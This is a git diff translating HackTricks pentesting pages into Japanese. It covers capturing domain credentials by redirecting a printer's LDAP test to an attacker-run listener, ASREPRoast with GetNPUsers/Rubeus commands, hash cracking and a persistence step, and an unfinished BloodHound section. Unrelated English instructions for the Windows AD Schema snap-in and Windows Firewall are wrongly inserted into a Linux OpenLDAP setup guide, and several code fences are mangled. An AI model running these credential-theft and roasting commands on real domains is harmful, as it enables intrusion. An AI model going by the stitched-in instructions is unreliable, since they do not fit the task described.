+**以下の情報は**[**https://grimhacker.com/2018/03/09/just-a-printer/**](https://grimhacker.com/2018/03/09/just-a-printer/)からコピーされました。 -# LDAP settings +# LDAPの設定 -On Konica Minolta printers it is possible to configure an LDAP server to connect to, along with credentials. In earlier versions of the firmware on these devices I have heard it is possible to recover the credentials simply by reading the html source of the page. Now, however the credentials are not returned in the interface so we have to work a little harder. +Konica Minoltaプリンタでは、LDAPサーバと認証に使用する資格情報を設定することができます。これらのデバイスのファームウェアの以前のバージョンでは、単にページのHTMLソースを読むことで資格情報を回復することができると聞いています。しかし、現在はインターフェースに資格情報は返されないため、少し手間がかかります。 -The list of LDAP Servers is under: Network > LDAP Setting > Setting Up LDAP +LDAPサーバのリストは次の場所にあります:ネットワーク> LDAP設定> LDAPの設定 -The interface allows the LDAP server to be modified without re-entering the credentials that will be used to connect. I presume this is for a simpler user experience, but it gives an opportunity for an attacker to escalate from master of a printer to a toe hold on the domain. +インターフェースでは、接続に使用される資格情報を再入力することなくLDAPサーバを変更することができます。これは、よりシンプルなユーザーエクスペリエンスのためのものだと思われますが、プリンタのマスターからドメイン上の足場にエスカレーションする機会を提供します。 -We can reconfigure the LDAP server address setting to a machine we control, and trigger a connection with the helpful “Test Connection” functionality. +LDAPサーバアドレス設定を制御するマシンに再構成し、便利な「テスト接続」機能をトリガーすることができます。 -# Listening for the goods +# グッズを聞く ## netcat -If you have better luck than me, you may be able to get away with a simple netcat listener: - +私よりも運が良ければ、単純なnetcatリスナーで済むかもしれません: ``` sudo nc -k -v -l -p 386 ``` - -I am assured by [@\_castleinthesky](https://twitter.com/\_castleinthesky) that this works most of the time, however I have yet to be let off that easy. +私は、[@\_castleinthesky](https://twitter.com/\_castleinthesky) によってこれがほとんどの場合機能すると保証されていますが、私はまだそれほど簡単には解決されていません。 ## Slapd -I have found that a full LDAP server is required as the printer first attempts a null bind and then queries the available information, only if these operations are successful does it proceed to bind with the credentials. +プリンターは最初にヌルバインドを試み、その後利用可能な情報をクエリし、これらの操作が成功した場合にのみ資格情報でバインドします。したがって、完全なLDAPサーバーが必要です。 -I searched for a simple ldap server that met the requirements, however there seemed to be limited options. In the end I opted to setup an open ldap server and use the slapd debug server service to accept connections and print out the messages from the printer. (If you know of an easier alternative, I would be happy to hear about it) +要件を満たすシンプルなLDAPサーバーを探しましたが、選択肢は限られているようでした。最終的に、OpenLDAPサーバーをセットアップし、slapdデバッグサーバーサービスを使用して接続を受け入れ、プリンターからのメッセージを出力することにしました。(もし簡単な代替案をご存知の場合は、教えていただけると嬉しいです) -### Installation +### インストール -(Note this section is a lightly adapted version of the guide here [https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap](https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap) ) +(このセクションは、こちらのガイドの軽く適応されたバージョンです:[https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap](https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap)) -From a root terminal: - -**Install OpenLDAP,** +rootターミナルから: +**OpenLDAPをインストールします。** ``` #> dnf install -y install openldap-servers openldap-clients -#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG +#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG #> chown ldap. /var/lib/ldap/DB_CONFIG ``` - -**Set an OpenLDAP admin password (you will need this again shortly)** - +**OpenLDAPの管理者パスワードを設定します(後で再度必要になります)** ``` -#> slappasswd +#> slappasswd New password: Re-enter new password: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx @@ -100,34 +93,73 @@ SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "olcDatabase={0}config,cn=config" ``` +**基本スキーマのインポート** -**Import basic Schemas** +```plaintext +To import basic Schemas, you can use the following command: +```powershell +regsvr32 /s schmmgmt.dll ``` -#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif + +This command will register the Active Directory Schema Management Snap-in, which allows you to manage the Active Directory schema. + +Once the snap-in is registered, you can open the Active Directory Schema Management console by running the following command: + +```powershell +mmc.exe +``` + +Then, go to `File -> Add/Remove Snap-in` and select `Active Directory Schema`. Click on `Add` and then `OK` to add the snap-in to the console. + +Now, you can view and modify the Active Directory schema by expanding the `Active Directory Schema` node in the console. + +Note: Importing basic Schemas requires administrative privileges. +``` +```plaintext +基本スキーマをインポートするには、次のコマンドを使用します。 + +```powershell +regsvr32 /s schmmgmt.dll +``` + +このコマンドは、Active Directoryスキーマ管理スナップインを登録します。これにより、Active Directoryスキーマを管理することができます。 + +スナップインが登録されたら、次のコマンドを実行してActive Directoryスキーマ管理コンソールを開きます。 + +```powershell +mmc.exe +``` + +次に、`ファイル -> スナップインの追加/削除`に移動し、`Active Directoryスキーマ`を選択します。`追加`をクリックし、スナップインをコンソールに追加するために`OK`をクリックします。 + +これで、コンソール内の`Active Directoryスキーマ`ノードを展開して、Active Directoryスキーマを表示および変更することができます。 + +注意:基本スキーマのインポートには管理者権限が必要です。 +``` +``` +#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=cosine,cn=schema,cn=config" -#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif +#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=nis,cn=schema,cn=config" -#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif +#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=inetorgperson,cn=schema,cn=config" ``` - -**Set your domain name on LDAP DB.** - +**LDAP DB にドメイン名を設定します。** ``` # generate directory manager's password -#> slappasswd +#> slappasswd New password: Re-enter new password: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx @@ -163,7 +195,7 @@ dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none olcAccess: {1}to dn.base="" by * read olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read -#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif +#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 @@ -198,7 +230,7 @@ dn: ou=Group,dc=foo,dc=bar objectClass: organizationalUnit ou: Group -#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif +#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif Enter LDAP Password: # directory manager's password adding new entry "dc=foo,dc=bar" @@ -208,14 +240,12 @@ adding new entry "ou=People,dc=foo,dc=bar" adding new entry "ou=Group,dc=foo,dc=bar" ``` +**LDAP TLSの設定** -**Configure LDAP TLS** - -**Create and SSL Certificate** - +**SSL証明書の作成** ``` -#> cd /etc/pki/tls/certs -#> make server.key +#> cd /etc/pki/tls/certs +#> make server.key umask 77 ; \ /usr/bin/openssl genrsa -aes128 2048 > server.key Generating RSA private key, 2048 bit long modulus @@ -226,11 +256,11 @@ Enter pass phrase: # set passphrase Verifying - Enter pass phrase: # confirm # remove passphrase from private key -#> openssl rsa -in server.key -out server.key +#> openssl rsa -in server.key -out server.key Enter pass phrase for server.key: # input passphrase writing RSA key -#> make server.csr +#> make server.csr umask 77 ; \ /usr/bin/openssl req -utf8 -new -key server.key -out server.csr You are about to be asked to enter information that will be incorporated @@ -257,9 +287,39 @@ Signature ok subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar Getting Private key ``` +**SSL / TLS のために Slapd を設定する** -**Configure Slapd for SSL /TLS** +To configure Slapd for SSL/TLS, follow the steps below: +1. Generate a self-signed certificate or obtain a certificate from a trusted Certificate Authority (CA). + +2. Copy the certificate and private key files to the appropriate directory on the server. The default directory is usually `/etc/ldap/ssl/`. + +3. Set the correct permissions for the certificate and private key files. The files should only be readable by the owner (root) and the LDAP server process. + +4. Edit the Slapd configuration file, usually located at `/etc/ldap/slapd.conf` or `/etc/ldap/slapd.d/cn=config.ldif`. + +5. Add the following lines to the configuration file: + + ``` + TLSCACertificateFile /etc/ldap/ssl/ca.crt + TLSCertificateFile /etc/ldap/ssl/server.crt + TLSCertificateKeyFile /etc/ldap/ssl/server.key + ``` + + Replace the file paths with the actual paths to your certificate and key files. + +6. Save the configuration file and restart the Slapd service for the changes to take effect. + +7. Test the SSL/TLS connection by using the `ldapsearch` command with the `-ZZ` option: + + ``` + ldapsearch -H ldap://localhost -ZZ -x -b "dc=example,dc=com" -D "cn=admin,dc=example,dc=com" -W + ``` + + Replace the LDAP server URL, base DN, and admin credentials with your own. + +If the SSL/TLS configuration is successful, the `ldapsearch` command should return the LDAP entries without any errors. ``` #> cp /etc/pki/tls/certs/server.key \ /etc/pki/tls/certs/server.crt \ @@ -272,7 +332,7 @@ Getting Private key #> vim mod_ssl.ldif # create new - dn: cn=config +dn: cn=config changetype: modify add: olcTLSCACertificateFile olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt @@ -283,56 +343,63 @@ olcTLSCertificateFile: /etc/openldap/certs/server.crt replace: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/openldap/certs/server.key -#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif +#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "cn=config" ``` +**ローカルファイアウォールを介してLDAPを許可する** -**Allow LDAP through your local firewall** +To allow LDAP through your local firewall, follow these steps: +1. Open the Windows Firewall settings on your local machine. +2. Click on "Advanced settings" to access the advanced configuration options. +3. In the left pane, select "Inbound Rules" and then click on "New Rule" in the right pane. +4. Choose the rule type as "Port" and click "Next". +5. Select "TCP" as the protocol and enter the specific port number for LDAP (default is 389). Click "Next". +6. Select "Allow the connection" and click "Next". +7. Choose the network location where this rule should apply (e.g., Domain, Private, Public). Click "Next". +8. Provide a name and description for the rule, and click "Finish" to complete the process. + +By allowing LDAP through your local firewall, you will be able to establish connections to LDAP servers and access Active Directory information from printers and other devices on your network. ``` firewall-cmd --add-service={ldap,ldaps} ``` +## ペイオフ -## The payoff - -Once you have installed and configured your LDAP service you can run it with the following command : +LDAPサービスをインストールして設定した後、次のコマンドで実行できます: > ``` > slapd -d 2 > ``` -The screen shot below shows an example of the output when we run the connection test on the printer. As you can see the username and password are passed from the LDAP client to server. +以下のスクリーンショットは、プリンターで接続テストを実行した際の出力の例を示しています。LDAPクライアントからサーバーにユーザー名とパスワードが渡されていることがわかります。 -![slapd terminal output containing the username "MyUser" and password "MyPassword"](https://i1.wp.com/grimhacker.com/wp-content/uploads/2018/03/slapd\_output.png?resize=474%2C163\&ssl=1) +![ユーザー名「MyUser」とパスワード「MyPassword」を含むslapdのターミナル出力](https://i1.wp.com/grimhacker.com/wp-content/uploads/2018/03/slapd\_output.png?resize=474%2C163\&ssl=1) -# How bad can it be? +# どれくらい悪いことが起こる可能性があるのか? -This very much depends on the credentials that have been configured. +これは設定された資格情報に大きく依存します。 -If the principle of least privilege is being followed, then you may only get read access to certain elements of active directory. This is often still valuable as you can use that information to formulate further more accurate attacks. +最小特権の原則が守られている場合、Active Directoryの特定の要素に対して読み取りアクセスのみを取得することができるかもしれません。これは、さらに正確な攻撃を計画するための情報として依然として価値があります。 -Typically you are likely to get an account in the Domain Users group which may give access to sensitive information or form the prerequisite authentication for other attacks. - -Or, like me, you may be rewarded for setting up an LDAP server and be handed a Domain Admin account on a silver platter. +通常、Domain Usersグループのアカウントを取得することができ、これにより機密情報へのアクセスが可能になったり、他の攻撃の前提となる認証が可能になったりします。 +また、私のようにLDAPサーバーを設定することで、Domain Adminアカウントが手渡されるかもしれません。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/windows-hardening/active-directory-methodology/asreproast.md b/windows-hardening/active-directory-methodology/asreproast.md index 07a7821ac..dc09af08f 100644 --- a/windows-hardening/active-directory-methodology/asreproast.md +++ b/windows-hardening/active-directory-methodology/asreproast.md @@ -4,50 +4,46 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する ## ASREPRoast -The ASREPRoast attack looks for **users without Kerberos pre-authentication required attribute (**[_**DONT\_REQ\_PREAUTH**_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)_**)**_. +ASREPRoast攻撃は、**Kerberosの事前認証が必要な属性([_**DONT\_REQ\_PREAUTH**_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)_**)を持たないユーザー**を探します。 -That means that anyone can send an AS\_REQ request to the DC on behalf of any of those users, and receive an AS\_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline. +つまり、誰でもこれらのユーザーのいずれかを代表してDCにAS\_REQリクエストを送信し、AS\_REPメッセージを受け取ることができます。この最後の種類のメッセージには、元のユーザーキーで暗号化されたデータのチャンクが含まれています。その後、このメッセージを使用して、ユーザーパスワードをオフラインでクラックすることができます。 -Furthermore, **no domain account is needed to perform this attack**, only connection to the DC. However, **with a domain account**, a LDAP query can be used to **retrieve users without Kerberos pre-authentication** in the domain. **Otherwise usernames have to be guessed**. - -#### Enumerating vulnerable users (need domain credentials) +さらに、**この攻撃を実行するためにはドメインアカウントは必要ありません**。DCへの接続のみが必要です。ただし、**ドメインアカウントがある場合**、ドメイン内の**Kerberosの事前認証が必要なユーザー**を取得するためにLDAPクエリを使用することができます。**それ以外の場合はユーザー名を推測する必要があります**。 +#### 脆弱なユーザーの列挙(ドメインの資格情報が必要) ```bash Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView ``` +#### AS\_REPメッセージのリクエスト -#### Request AS\_REP message - -{% code title="Using Linux" %} +{% code title="Linuxを使用する場合" %} ```bash #Try all the usernames in usernames.txt python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast #Use domain creds to extract targets and target them python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast ``` -{% endcode %} - -{% code title="Using Windows" %} +{% code title="Windowsを使用する" %} ```bash .\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username] Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast) @@ -55,46 +51,42 @@ Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github {% endcode %} {% hint style="warning" %} -AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0. +Rubeusを使用したAS-REP Roastingは、暗号化タイプ0x17および事前認証タイプ0の4768を生成します。 {% endhint %} -### Cracking - +### クラッキング ``` john --wordlist=passwords_kerb.txt hashes.asreproast -hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt +hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt ``` +### 持続性 -### Persistence - -Force **preauth** not required for a user where you have **GenericAll** permissions (or permissions to write properties): - +**GenericAll** 権限(またはプロパティの書き込み権限)を持つユーザーに対して、**preauth** の強制は必要ありません。 ```bash Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose ``` +## 参考文献 -## References - -[**More information about AS-RRP Roasting in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat) +[**ired.teamのAS-REP Roastingに関する詳細情報**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **ウェブ3のバグについてもっと学ぶために** -🐞 Read web3 bug tutorials +🐞 ウェブ3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するためにPRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に参加してください。**
diff --git a/windows-hardening/active-directory-methodology/bloodhound.md b/windows-hardening/active-directory-methodology/bloodhound.md index 3a2a70c7e..2f60d4e19 100644 --- a/windows-hardening/active-directory-methodology/bloodhound.md +++ b/windows-hardening/active-directory-methodology/bloodhound.md @@ -1,190 +1,169 @@ -# BloodHound & Other AD Enum Tools +# BloodHound & 他のAD Enumツール
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
## AD Explorer -[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) is from Sysinternal Suite: +[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)はSysinternal Suiteから提供されています: -> An advanced Active Directory (AD) viewer and editor. You can use AD Explorer to navigate an AD database easily, define favourite locations, view object properties, and attributes without opening dialog boxes, edit permissions, view an object's schema, and execute sophisticated searches that you can save and re-execute. +> 高度なActive Directory(AD)ビューアおよびエディターです。AD Explorerを使用して、ADデータベースを簡単にナビゲートしたり、お気に入りの場所を定義したり、オブジェクトのプロパティや属性をダイアログボックスを開かずに表示したり、アクセス許可を編集したり、オブジェクトのスキーマを表示したり、保存および再実行できる高度な検索を実行したりすることができます。 -### Snapshots +### スナップショット -AD Explorer can create snapshots of an AD so you can check it offline.\ -It can be used to discover vulns offline, or to compare different states of the AD DB across the time. +AD ExplorerはADのスナップショットを作成することができます。\ +オフラインでチェックするために使用することができます。\ +オフラインで脆弱性を発見したり、AD DBの異なる状態を比較したりすることができます。 -You will be requires the username, password, and direction to connect (any AD user is required). - -To take a snapshot of AD, go to `File` --> `Create Snapshot` and enter a name for the snapshot. +スナップショットを取るには、`File` --> `Create Snapshot`に移動し、スナップショットの名前を入力します。 ## ADRecon -****[**ADRecon**](https://github.com/adrecon/ADRecon) is a tool which extracts and combines various artefacts out of an AD environment. The information can be presented in a **specially formatted** Microsoft Excel **report** that includes summary views with metrics to facilitate analysis and provide a holistic picture of the current state of the target AD environment. - +[**ADRecon**](https://github.com/adrecon/ADRecon)は、AD環境からさまざまなアーティファクトを抽出して組み合わせるツールです。情報は、分析を容易にし、対象のAD環境の現在の状態の包括的なイメージを提供するためのメトリックを含む、**特別にフォーマットされた**Microsoft Excel **レポート**で表示することができます。 ```bash # Run it .\ADRecon.ps1 ``` - ## BloodHound -> BloodHound is a single page Javascript web application, built on top of [Linkurious](http://linkurio.us), compiled with [Electron](http://electron.atom.io), with a [Neo4j](https://neo4j.com)database fed by a PowerShell ingestor. -> -> BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment. -> -> BloodHound is developed by [@\_wald0](https://www.twitter.com/\_wald0), [@CptJesus](https://twitter.com/CptJesus), and [@harmj0y](https://twitter.com/harmj0y). -> +> BloodHoundは、[Linkurious](http://linkurio.us)をベースにしたシングルページのJavaScriptウェブアプリケーションで、[Electron](http://electron.atom.io)でコンパイルされ、PowerShellのインジェストツールによって供給される[Neo4j](https://neo4j.com)データベースを使用しています。 + +> BloodHoundは、グラフ理論を使用してActive Directory環境内の隠れた関係や意図しない関係を明らかにします。攻撃者は、BloodHoundを使用して、通常は素早く特定することができない非常に複雑な攻撃経路を簡単に特定することができます。防御側は、BloodHoundを使用して、同じ攻撃経路を特定し、排除することができます。ブルーチームとレッドチームの両方は、BloodHoundを使用して、Active Directory環境の特権関係をより深く理解することができます。 + +> BloodHoundは、[\_wald0](https://www.twitter.com/\_wald0)、[@CptJesus](https://twitter.com/CptJesus)、[@harmj0y](https://twitter.com/harmj0y)によって開発されています。 + > From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound) -So, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound)is an amazing tool which can enumerate a domain automatically, save all the information, find possible privilege escalation paths and show all the information using graphs. 